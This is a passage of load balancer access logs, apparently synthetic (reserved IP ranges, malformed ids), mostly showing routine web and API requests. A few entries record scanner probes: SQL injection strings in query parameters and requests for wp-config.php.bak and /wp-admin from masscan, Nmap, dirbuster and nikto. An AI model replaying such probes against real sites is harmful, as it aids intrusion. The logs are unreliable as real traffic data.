"-" 9 2024-11-01T02:51:27.794412Z "forward" "-" "-" "10.0.137.151:443" "200" "-" "-" -https 2024-11-01T02:51:28.711187Z prod-web-alb 197.95.49.67:46510 10.0.59.249:443 0.080663 0.413239 0.045910 200 200 944 13049 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfc0-eb0dd769e3414b2da0267cf0" "prod-web-alb.example.com" "-" 4 2024-11-01T02:51:28.711187Z "forward" "-" "-" "10.0.59.249:443" "200" "-" "-" -https 2024-11-01T02:51:29.750165Z prod-api-alb 203.210.212.84:57452 10.0.87.129:443 0.095087 0.096200 0.041182 302 302 5 6638 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfc1-d732128798b7408d9cbbb8c2" "prod-api-alb.example.com" "-" 0 2024-11-01T02:51:29.750165Z "forward" "-" "-" "10.0.87.129:443" "302" "-" "-" -https 2024-11-01T02:51:30.725820Z prod-api-alb 79.63.89.184:28420 10.0.60.30:443 0.074697 0.241961 0.018985 200 200 152 12593 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfc2-edf467d6355b42518df81027" "prod-api-alb.example.com" "-" 9 2024-11-01T02:51:30.725820Z "forward" "-" "-" "10.0.60.30:443" "200" "-" "-" -https 2024-11-01T02:51:31.248172Z staging-alb 152.101.94.161:45279 210.19.118.202:80 0.090035 0.691179 0.087724 301 301 662 6492 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfc3-38a712d9c38d430bb0a64fdf" "staging-alb.example.com" "-" 6 2024-11-01T02:51:31.248172Z "forward" "-" "-" "210.19.118.202:80" "301" "-" "-" -https 2024-11-01T02:51:32.631205Z prod-web-alb 193.27.228.82:13379 10.0.173.217:443 0.060380 0.158342 0.012280 500 500 267 5678 "GET /login?id=1'-- HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfc4-b21ebdea62584829a8a47a6a" "-" "-" 5 2024-11-01T02:51:32.631205Z "forward" "-" "-" "10.0.173.217:443" "500" "-" "-" -https 2024-11-01T02:51:33.360026Z prod-api-alb 219.113.172.189:25506 10.0.65.147:443 0.053112 0.497163 0.035612 301 301 263 7015 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dfc5-a656bf5d2b4d4915bee30a60" "prod-api-alb.example.com" "-" 3 2024-11-01T02:51:33.360026Z "forward" "-" "-" "10.0.65.147:443" "301" "-" "-" -https 2024-11-01T02:51:33.509869Z prod-web-alb 86.33.210.41:11248 10.0.35.90:443 0.041648 0.400804 0.059075 200 200 986 5625 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfc5-b9156b4b044a4cbd94cae988" "prod-web-alb.example.com" "-" 5 2024-11-01T02:51:33.509869Z "forward" "-" "-" "10.0.35.90:443" "200" "-" "-" -https 2024-11-01T02:51:34.416233Z prod-web-alb 123.214.150.59:64233 10.0.58.49:443 0.050009 0.121195 0.090868 200 200 786 8262 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfc6-636932d15744464ca001aee7" "prod-web-alb.example.com" "-" 7 2024-11-01T02:51:34.416233Z "forward" "-" "-" "10.0.58.49:443" "200" "-" "-" -https 2024-11-01T02:51:34.982259Z staging-alb 185.181.110.51:48501 188.212.221.191:443 0.042773 0.288573 0.127146 401 401 69 4981 "POST /wp-config.php.bak HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfc6-8dda4d371c0a414cb11d7c06" "-" "-" 3 2024-11-01T02:51:34.982259Z "forward" "-" "-" "188.212.221.191:443" "401" "-" "-" -https 2024-11-01T02:51:36.810680Z staging-alb 249.85.8.76:12672 215.190.151.155:8080 0.061990 0.245965 0.146114 200 200 633 4642 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfc8-cac4b5df82854723a577818b" "staging-alb.example.com" "-" 8 2024-11-01T02:51:36.810680Z "forward" "-" "-" "215.190.151.155:8080" "200" "-" "-" -https 2024-11-01T02:51:38.537678Z prod-web-alb 158.73.145.31:26616 10.0.100.48:443 0.018545 0.076606 0.040663 301 301 977 4025 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfca-cb3c36b9ebe84ebe9a9f96ae" "prod-web-alb.example.com" "-" 0 2024-11-01T02:51:38.537678Z "forward" "-" "-" "10.0.100.48:443" "301" "-" "-" -https 2024-11-01T02:51:38.698751Z prod-api-alb 114.84.148.248:16194 10.0.183.253:443 0.038367 0.330054 0.070119 404 404 880 2101 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dfca-8f4a9ee356c0451c8d5b1b79" "prod-api-alb.example.com" "-" 7 2024-11-01T02:51:38.698751Z "forward" "-" "-" "10.0.183.253:443" "404" "-" "-" -https 2024-11-01T02:51:40.311391Z prod-web-alb 161.1.250.108:43567 10.0.83.98:443 0.074487 0.215271 0.045106 200 200 700 10279 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfcc-a6459f9584034e7db147a132" "prod-web-alb.example.com" "-" 3 2024-11-01T02:51:40.311391Z "forward" "-" "-" "10.0.83.98:443" "200" "-" "-" -https 2024-11-01T02:51:41.393849Z prod-web-alb 5.158.238.190:46413 10.0.7.56:443 0.087267 0.196106 0.086189 302 302 291 14091 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfcd-c9756606b01645f391b2af69" "prod-web-alb.example.com" "-" 5 2024-11-01T02:51:41.393849Z "forward" "-" "-" "10.0.7.56:443" "302" "-" "-" -https 2024-11-01T02:51:42.794893Z staging-alb 171.124.234.33:44658 157.101.172.115:80 0.124340 0.127679 0.091766 200 200 689 2206 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfce-3f2d61a427a64d67ba0807a4" "staging-alb.example.com" "-" 2 2024-11-01T02:51:42.794893Z "forward" "-" "-" "157.101.172.115:80" "200" "-" "-" -https 2024-11-01T02:51:42.977064Z prod-web-alb 91.246.211.125:41759 10.0.13.112:443 0.035384 0.110051 0.042777 200 200 450 7253 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfce-a8a1bf3a3dd943f78c093f0f" "prod-web-alb.example.com" "-" 5 2024-11-01T02:51:42.977064Z "forward" "-" "-" "10.0.13.112:443" "200" "-" "-" -https 2024-11-01T02:51:43.155980Z staging-alb 80.203.184.115:27743 221.245.105.246:80 0.008505 0.518093 0.047852 404 404 966 1873 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfcf-9a697eaacf0542b0bd74d803" "staging-alb.example.com" "-" 4 2024-11-01T02:51:43.155980Z "forward" "-" "-" "221.245.105.246:80" "404" "-" "-" -https 2024-11-01T02:51:45.070677Z prod-web-alb 152.95.18.24:46181 10.0.157.222:443 0.001086 0.308666 0.094911 301 301 324 1522 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfd1-eab8d137291d47dba5dd2da5" "prod-web-alb.example.com" "-" 5 2024-11-01T02:51:45.070677Z "forward" "-" "-" "10.0.157.222:443" "301" "-" "-" -https 2024-11-01T02:51:45.382145Z staging-alb 4.241.213.31:32242 59.232.60.60:80 0.037881 0.560045 0.119523 200 200 996 12668 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfd1-0e2716796b504fdcaf7283ac" "staging-alb.example.com" "-" 4 2024-11-01T02:51:45.382145Z "forward" "-" "-" "59.232.60.60:80" "200" "-" "-" -https 2024-11-01T02:51:46.397528Z prod-api-alb 24.89.76.193:62205 10.0.16.97:443 0.052987 0.438303 0.055149 301 301 780 7097 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dfd2-8695688331804f5bab3be594" "-" "-" 2 2024-11-01T02:51:46.397528Z "forward" "-" "-" "10.0.16.97:443" "301" "-" "-" -http 2024-11-01T02:51:46.558386Z staging-alb 193.27.228.65:19572 124.71.215.92:80 0.111125 0.745885 0.146860 500 500 507 4616 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfd2-b3be38b9ca0b435280f9ca05" "-" "-" 2 2024-11-01T02:51:46.558386Z "forward" "-" "-" "124.71.215.92:80" "500" "-" "-" -https 2024-11-01T02:51:47.122691Z prod-web-alb 220.44.173.27:62014 10.0.118.133:443 0.089223 0.418355 0.015654 302 302 281 6418 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfd3-22bf9ece87e947c799e75831" "prod-web-alb.example.com" "-" 9 2024-11-01T02:51:47.122691Z "forward" "-" "-" "10.0.118.133:443" "302" "-" "-" -https 2024-11-01T02:51:48.609400Z prod-web-alb 152.160.96.234:62619 10.0.59.66:443 0.031465 0.401880 0.065187 302 302 26 5010 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfd4-aa4e18da12734f2fb28f3875" "prod-web-alb.example.com" "-" 1 2024-11-01T02:51:48.609400Z "forward" "-" "-" "10.0.59.66:443" "302" "-" "-" -https 2024-11-01T02:51:49.297154Z prod-api-alb 244.118.49.175:37264 10.0.217.38:443 0.016311 0.239457 0.052461 302 302 28 10727 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfd5-b8d106a99de044f2a0bee041" "prod-api-alb.example.com" "-" 7 2024-11-01T02:51:49.297154Z "forward" "-" "-" "10.0.217.38:443" "302" "-" "-" -https 2024-11-01T02:51:49.938902Z prod-web-alb 245.146.22.140:63637 10.0.200.86:443 0.021029 0.128993 0.076837 404 404 235 7720 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfd5-5c2e23f370fa4670b43ad328" "prod-web-alb.example.com" "-" 8 2024-11-01T02:51:49.938902Z "forward" "-" "-" "10.0.200.86:443" "404" "-" "-" -https 2024-11-01T02:51:51.025432Z prod-web-alb 187.86.124.201:26533 10.0.174.221:443 0.012143 0.076769 0.092685 200 200 699 1878 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfd7-c82917244d794b00a24e9c77" "prod-web-alb.example.com" "-" 5 2024-11-01T02:51:51.025432Z "forward" "-" "-" "10.0.174.221:443" "200" "-" "-" -https 2024-11-01T02:51:52.430790Z prod-api-alb 211.2.227.246:57655 10.0.2.255:443 0.075646 0.369127 0.081255 404 404 771 13000 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dfd8-47d234036674434e8fd4403a" "prod-api-alb.example.com" "-" 0 2024-11-01T02:51:52.430790Z "forward" "-" "-" "10.0.2.255:443" "404" "-" "-" -http 2024-11-01T02:51:53.667230Z staging-alb 119.58.253.252:19464 103.116.50.108:443 0.069310 0.602116 0.009745 200 200 337 2718 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfd9-976bde7c450f4aafbe990f0b" "staging-alb.example.com" "-" 7 2024-11-01T02:51:53.667230Z "forward" "-" "-" "103.116.50.108:443" "200" "-" "-" -https 2024-11-01T02:51:55.541257Z prod-web-alb 132.195.157.245:14447 10.0.246.252:443 0.043955 0.276298 0.020882 200 200 472 6233 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfdb-690898d9ca8b40599d43393a" "prod-web-alb.example.com" "-" 3 2024-11-01T02:51:55.541257Z "forward" "-" "-" "10.0.246.252:443" "200" "-" "-" -https 2024-11-01T02:51:56.439578Z prod-web-alb 113.148.117.90:19455 10.0.5.105:443 0.027867 0.042193 0.024624 200 200 7 1526 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfdc-7ae0b5eed0ef4725a1b44abe" "prod-web-alb.example.com" "-" 1 2024-11-01T02:51:56.439578Z "forward" "-" "-" "10.0.5.105:443" "200" "-" "-" -http 2024-11-01T02:51:57.850890Z staging-alb 231.19.19.217:30790 178.21.217.118:8080 0.005161 0.450543 0.069821 200 200 886 13527 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfdd-b9c528ff928c43e68184b8f8" "staging-alb.example.com" "-" 10 2024-11-01T02:51:57.850890Z "forward" "-" "-" "178.21.217.118:8080" "200" "-" "-" -https 2024-11-01T02:51:58.708297Z prod-web-alb 202.84.139.158:57241 10.0.46.144:443 0.037074 0.353819 0.088329 200 200 991 951 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfde-33f585264b544664bd1d2810" "prod-web-alb.example.com" "-" 7 2024-11-01T02:51:58.708297Z "forward" "-" "-" "10.0.46.144:443" "200" "-" "-" -https 2024-11-01T02:51:59.459537Z prod-web-alb 149.245.220.150:37428 10.0.104.92:443 0.046873 0.442543 0.054856 404 404 666 7170 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfdf-5f0b2ad4de7d4c8bb728c245" "prod-web-alb.example.com" "-" 7 2024-11-01T02:51:59.459537Z "forward" "-" "-" "10.0.104.92:443" "404" "-" "-" -https 2024-11-01T02:51:59.880856Z prod-web-alb 45.155.205.6:44496 10.0.71.49:443 0.035791 0.125460 0.001514 401 401 160 6333 "GET /wp-admin HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfdf-612cadfb9d984fd7b0ff0cc1" "-" "-" 0 2024-11-01T02:51:59.880856Z "forward" "-" "-" "10.0.71.49:443" "401" "-" "-" -http 2024-11-01T02:52:01.814217Z staging-alb 115.72.104.96:43684 10.252.165.119:443 0.115889 0.422006 0.141190 200 200 888 8847 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfe1-27fac68272b3499c8d4eee83" "staging-alb.example.com" "-" 10 2024-11-01T02:52:01.814217Z "forward" "-" "-" "10.252.165.119:443" "200" "-" "-" -https 2024-11-01T02:52:02.921229Z prod-api-alb 112.152.195.7:21393 10.0.251.59:443 0.077296 0.041287 0.025452 200 200 328 13343 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfe2-3a60ce8907d844e89385913b" "prod-api-alb.example.com" "-" 10 2024-11-01T02:52:02.921229Z "forward" "-" "-" "10.0.251.59:443" "200" "-" "-" -https 2024-11-01T02:52:03.173267Z prod-web-alb 248.173.138.20:39056 10.0.198.99:443 0.022993 0.480567 0.088904 200 200 61 7199 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfe3-b7dfc1ffe4284c91b9a2d4f8" "prod-web-alb.example.com" "-" 2 2024-11-01T02:52:03.173267Z "forward" "-" "-" "10.0.198.99:443" "200" "-" "-" -https 2024-11-01T02:52:04.961230Z staging-alb 209.14.44.74:56350 114.92.220.183:80 0.040386 0.517758 0.050866 200 200 46 4768 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfe4-2d56dc22caea42a8b5b2ccbb" "staging-alb.example.com" "-" 5 2024-11-01T02:52:04.961230Z "forward" "-" "-" "114.92.220.183:80" "200" "-" "-" -http 2024-11-01T02:52:05.246588Z staging-alb 170.245.139.41:49477 198.140.77.149:8080 0.101693 0.225538 0.086031 200 200 69 6472 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfe5-0124a94d4ab2499693856ea1" "staging-alb.example.com" "-" 3 2024-11-01T02:52:05.246588Z "forward" "-" "-" "198.140.77.149:8080" "200" "-" "-" -https 2024-11-01T02:52:07.121449Z prod-api-alb 95.75.61.60:21882 10.0.144.99:443 0.098393 0.304843 0.000144 302 302 901 1548 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dfe7-0b723978ff6a422981d1182d" "prod-api-alb.example.com" "-" 3 2024-11-01T02:52:07.121449Z "forward" "-" "-" "10.0.144.99:443" "302" "-" "-" -http 2024-11-01T02:52:08.213375Z staging-alb 12.41.145.163:10599 30.222.123.58:80 0.134652 0.320089 0.096661 200 200 759 11709 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfe8-b244eee8b66b45ccb4384197" "staging-alb.example.com" "-" 0 2024-11-01T02:52:08.213375Z "forward" "-" "-" "30.222.123.58:80" "200" "-" "-" -https 2024-11-01T02:52:08.740136Z prod-web-alb 226.12.238.125:20957 10.0.223.97:443 0.001240 0.471430 0.056958 200 200 405 3021 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfe8-425e4c7f516a49f38f79c308" "prod-web-alb.example.com" "-" 0 2024-11-01T02:52:08.740136Z "forward" "-" "-" "10.0.223.97:443" "200" "-" "-" -http 2024-11-01T02:52:09.012000Z staging-alb 117.198.15.25:33338 152.136.28.42:80 0.022239 0.250959 0.108663 200 200 396 8834 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfe9-3e8c6b1017d645a1a5766cac" "staging-alb.example.com" "-" 10 2024-11-01T02:52:09.012000Z "forward" "-" "-" "152.136.28.42:80" "200" "-" "-" -https 2024-11-01T02:52:09.433424Z prod-web-alb 33.20.19.31:48865 10.0.84.59:443 0.000023 0.204448 0.010042 200 200 665 9097 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfe9-3a9096c6e04e4879bb60f566" "prod-web-alb.example.com" "-" 5 2024-11-01T02:52:09.433424Z "forward" "-" "-" "10.0.84.59:443" "200" "-" "-" -https 2024-11-01T02:52:10.601412Z prod-api-alb 93.165.68.243:27744 10.0.25.11:443 0.087401 0.467136 0.077341 302 302 984 10381 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfea-031000969ffe46da877c5300" "prod-api-alb.example.com" "-" 5 2024-11-01T02:52:10.601412Z "forward" "-" "-" "10.0.25.11:443" "302" "-" "-" -https 2024-11-01T02:52:11.394064Z prod-api-alb 187.162.140.59:42422 10.0.76.7:443 0.008531 0.088196 0.078572 200 200 771 2336 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfeb-3376d23105d54dc4b9058250" "prod-api-alb.example.com" "-" 7 2024-11-01T02:52:11.394064Z "forward" "-" "-" "10.0.76.7:443" "200" "-" "-" -https 2024-11-01T02:52:11.662115Z staging-alb 140.149.222.165:55429 207.221.193.147:443 0.033449 0.565096 0.003478 200 200 943 5204 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfeb-52bb4816c1c6426b81703058" "staging-alb.example.com" "-" 7 2024-11-01T02:52:11.662115Z "forward" "-" "-" "207.221.193.147:443" "200" "-" "-" -https 2024-11-01T02:52:12.825675Z prod-web-alb 109.155.78.99:29500 10.0.136.6:443 0.052997 0.304610 0.095172 301 301 185 1049 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 